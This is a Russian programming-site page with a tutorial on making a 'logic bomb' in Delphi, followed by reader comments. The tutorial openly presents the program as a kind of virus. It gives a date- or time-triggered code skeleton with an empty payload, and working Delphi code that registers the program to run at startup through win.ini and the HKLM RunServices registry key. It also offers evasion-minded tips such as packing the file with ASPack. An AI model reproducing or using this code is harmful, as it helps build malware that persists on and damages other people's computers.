Навигация
Главная
Поиск
Форум
FAQ's
Ссылки
Карта сайта
Чат программистов

Статьи
-Delphi
-C/C++
-Turbo Pascal
-Assembler
-Java/JS
-PHP
-Perl
-DHTML
-Prolog
-GPSS
-Сайтостроительство
-CMS: PHP Fusion
-Инвестирование

Файлы
-Для программистов
-Компонеты для Delphi
-Исходники на Delphi
-Исходники на C/C++
-Книги по Delphi
-Книги по С/С++
-Книги по JAVA/JS
-Книги по Basic/VB/.NET
-Книги по PHP/MySQL
-Книги по Assembler
-PHP Fusion MOD'ы
-by Kest
Professional Download System
Реклама
Услуги

Автоматическое добавление статей на сайты на Wordpress, Joomla, DLE
Заказать продвижение сайта
Программа для рисования блок-схем
Инженерный калькулятор онлайн
Таблица сложения онлайн
Популярные статьи
OpenGL и Delphi... 65535
Форум на вашем ... 65535
HACK F.A.Q 65535
Бип из системно... 65535
Гостевая книга ... 65535
Invision Power ... 65535
Пример работы с... 65535
Содержание сайт... 65535
Организация зап... 65535
Вызов хранимых ... 65535
Создание отчето... 65535
Программируемая... 65535
Эмулятор микроп... 65535
Подключение Mic... 65535
Создание потоко... 65535
Приложение «Про... 65535
Оператор выбора... 65535
Модуль Forms 65535
ТЕХНОЛОГИИ ДОСТ... 63594
Имитационное мо... 58623
Реклама
Сейчас на сайте
Гостей: 7
На сайте нет зарегистрированных пользователей

Пользователей: 13,095
новичок: staros
Новости
Реклама
Выполняем курсовые и лабораторные по разным языкам программирования
Подробнее - курсовые и лабораторные на заказ
Delphi, Turbo Pascal, Assembler, C, C++, C#, Visual Basic, Java, GPSS, Prolog, 3D MAX, Компас 3D
Заказать программу для Windows Mobile, Symbian

Создание последовательности окон и передвижение окон по экрану на Turbo ...
Моделирование работы узла коммутации сообщений на GPSS + Пояснительная з...
Лабораторная работа по динамическим спискам на Turbo Pascal (перемещение...

Реклама



Подписывайся на YouTube канал о программировании, что бы не пропустить новые видео!

ПОДПИСЫВАЙСЯ на канал о программировании
Логическая бомба на Delphi
Привет читатель. Добро пожаловать на урок по изготовлению логической бомбы. Логическая бомба это (если я не ошибаюсь) то это разновидность вируса. Её принцип прост. Она запускает определённый программный код при выполнении определённых условий. Часто таким условием бывает время или дата.

И так приступим к программному коду:
0) Запусти Delphi.
1) Создай новый проект.
2) Удали Form из проекта. (project=>remove from project=>выбери форму=>OK=>появится окно, нужно согласиться=>всё! Форма удалена)
3) Откроем место для написания кода (project=>view source=>

Program log_bomb;//Название может быть любым
Uses windows, SysUtils; //Подключаемые модули, чем меньше , тем лучше.
Begin
//Если дата 11.11.1111 то срабатывает код написанный
If datetostr(date)=’11.11.1111’ then
Begin // Между begin
// Сам код, выполняющийся при выполнении условия
End;

Exit;
End.


Вот и всё.

А теперь несколько советов.

1) Всегда в конце лучше писать EXIT; Не пойман не уничтожен – закон вирусов.
2) Если надо чтобы программа срабатывала в определённое время. То надо писать следущее:

If timetostr(time)=’22:22’ then
Begin
// Код
End;


3) Иногда, когда подключаешь много модулей прога приобретает «Царский размер»
В этих случаях необходимо пользоваться ASPACK'ом. Он уменьшит размер примерно в два раза.

4) Всегда проверяй Автозагрузку. Может что-то подобное уже работает у тебя!!!!

Теперь я расскажу как сделать это двумя способами: через файл win.ini и через реестр. Приступим.

1) способ Через Win.ini

Для этого надо знать как работать с INI файлами.

Program INIFI;
Uses inifiles;

//Обьявляем переменную для работы с ini файлами
Var reg: tinifile;

Begin
//Выделяем память для переменной, открываем файл
reg:=tinifile.create('win.ini');
//Непосредственно прописываемся
reg.writestring('windows','run',application.ExeName);
//Освобождаем память
reg.free;
exit;
end.


Остановимся на этой строчке подробнее:

reg.writestring('windows','run',application.ExeName);

//Переменная reg запись строки типа string, куда указывается в скобках

reg.writestring()



Win.ini находится ВСЕГДА по адресу:
Имя_диска:Папка_виндыwin.ini

2) Способ Через реестр.

Очень похоже на способ 1), только работаем с реестром и другими переменными. Итак. Приступим.

Program regis;
Uses inifiles;

Var load: treginifile;

Begin
load:=treginifile.create;

//Выбираем ветвь реестра
load.RootKey:=hkey_local_machine;

//Выбираем ключ
load.OpenKey('softwaremicrosoftwindowscurrentversion',false);

//Прописываемся
load.WriteString('runServices','ssi',application.exename);

Load.free;
exit;
end.



Всё просто. Рассмотрим основные моменты:

Переменная.Rootkey:={Название ветви реестра}
Переменная.openkey(название ключа)
Опубликовал Kest October 25 2008 18:08:57 · 6 Комментариев · 11064 Прочтений · Для печати

• Не нашли ответ на свой вопрос? Тогда задайте вопрос в комментариях или на форуме! •


Комментарии
Марат December 19 2009 16:09:57
У меня не получилосьsmiley
Kest December 19 2009 16:39:20
в чем проблема?
Гость January 03 2010 16:03:16
Логическая бомба это (если я не ошибаюсь) то это
разновидность вируса. Её принцип прост. Она запускает определённый программный
код при выполнении определённых условий.

AFAIK ошибаешся. Я всегда думал что логическая бомба это пассивный объект и никогда не выполняется, потому что содержит только данные, не код. Вредоносное действие основывается на особенностях обработки этих данных какой-либо вполне мирной программой. Например если есть программа, в файле данных которой есть сохраненный связный список (n элементов, каждый из которых хранит ссылку на следующий) и известно что программа не проводит необходимых проверок корректности файла, то можно создать бомбу - файл, содержащий замкнутый список, и тем самым загнать открывающую прогу в бесконечный цикл
Марат June 02 2010 20:34:44
Исправь пожалуйста: Uses Windows, SysUtils; , а то без SYSUTILS не компилитсяsmiley
Kest June 03 2010 00:04:02
Марат Июнь 02 2010 20:34:44
Исправь пожалуйста: Uses Windows, SysUtils; , а то без SYSUTILS не компилится


Это ты с декабря прошлого года что ли мучался? smiley
WETAL August 01 2010 12:27:56
Вот процедура даты без всяких Uses Windows, SysUtils
procedure Dates;
var
s:string;
dt:TDateTime;
begin
s:=DateTostr(dt);
end;
smiley
Добавить комментарий
Имя:



smiley smiley smiley smiley smiley smiley smiley smiley smiley
Запретить смайлики в комментариях

Введите проверочный код:* =
Рейтинги
Рейтинг доступен только для пользователей.

Пожалуйста, залогиньтесь или зарегистрируйтесь для голосования.

Нет данных для оценки.
Гость
Имя

Пароль



Вы не зарегистрированны?
Нажмите здесь для регистрации.

Забыли пароль?
Запросите новый здесь.
Поделиться ссылкой
Фолловь меня в Твиттере! • Смотрите канал о путешествияхКак приготовить мидии в тайланде?
Загрузки
Новые загрузки
iChat v.7.0 Final...
iComm v.6.1 - выв...
Visual Studio 200...
CodeGear RAD Stud...
Шаблон для новост...

Случайные загрузки
Blobs [Исходник н...
Технология .Net в VB
PHP 5
Delphi 6 программ...
Введение в станда...
Pro-Download Sys...
Основы Delphi. Пр...
База для Allsubmi...
IpEditAdress
Сложный калькулятор
AlignEdit
JanButtonsV
Swing. Эффектные...
Image Browser [Ис...
Простой пример ка...
Генетический алго...
MPTools
База данных: Книж...
XPcontrol
Web Регистрация

Топ загрузок
Приложение Клие... 100488
Delphi 7 Enterp... 88205
Converter AMR<-... 20084
GPSS World Stud... 13844
Borland C++Buil... 12150
Borland Delphi ... 8709
Turbo Pascal fo... 7058
Visual Studio 2... 5007
Калькулятор [Ис... 4933
FreeSMS v1.3.1 3547
Случайные статьи
Application СотраН...
Описание абстрактн...
Метод повторного х...
Метаинтерпретатор ...
Аватар
Метод резолюции в ...
Как писать друзьям...
Целевые страницы
Водородная энергет...
5. КОС отсылает эт...
Многоплановые прот...
Функция сохранени...
Лечение наркомании
Есть ли возможност...
Statement part too...
мало для подчиненн...
РЕЖИМ "КОНСУЛЬТАЦИЯ"
• Почта со специфи...
Ограничения и расш...
Массив
Спил деревьев
5.1. Задачи
Интернет-казино Ву...
inf 270— SMB-подпи...
Модульные тесты: п...
Статистика



Друзья сайта
Программы, игры


Полезно
В какую объединенную сеть входит классовая сеть? Суммирование маршрутов Занимают ли таблицы память маршрутизатора?